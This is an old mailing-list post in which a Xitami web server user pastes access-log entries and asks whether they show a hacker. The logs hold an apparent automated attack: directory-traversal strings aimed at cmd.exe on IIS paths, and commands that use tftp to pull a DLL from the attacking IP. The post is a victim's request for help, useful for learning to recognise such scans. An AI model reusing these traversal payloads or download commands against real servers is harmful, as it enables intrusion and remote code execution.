[Xitami] what's this?

[Spider]

Hi!  New to the list.  Have been running Xitami for some time.....love it.

Questions about the logs   On a few IP's that show up I get blocks of hits
that look like what is below.

Any ideas as to what this is?  A hacker or?????

Thanks for any info!

Jim Wooddell

here is what I am seeing in my ac logs....

12.225.139.174 - - [01/Jun/2003:05:08:35 -0700] "GET
/scripts/root.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:35 -0700] "GET /MSADC/root.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:36 -0700] "GET
/c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:37 -0700] "GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:38 -0700] "GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:40 -0700] "GET
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:43 -0700] "GET
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:45 -0700] "GET
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:46 -0700] "GET
/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:47 -0700] "GET
/scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:48 -0700] "GET
/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:50 -0700] "GET
/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:51 -0700] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:52 -0700] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%20
GET%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:53 -0700] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%20
GET%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:54 -0700] "GET
/scripts/..%%35%63../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%20
GET%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:56 -0700] "GET
/scripts/..%%35%63../httpodbc.dll HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:57 -0700] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:08:58 -0700] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%20GE
T%20cool.dll%20c:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:09:00 -0700] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%20GE
T%20cool.dll%20d:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:09:01 -0700] "GET
/scripts/..%%35c../winnt/system32/cmd.exe?/c+tftp%20-i%2012.225.139.174%20GE
T%20cool.dll%20e:\httpodbc.dll HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:09:02 -0700] "GET
/scripts/..%%35c../httpodbc.dll HTTP/1.0" 200 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:09:03 -0700] "GET
/scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""
12.225.139.174 - - [01/Jun/2003:05:09:05 -0700] "GET
/scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 -1 "" ""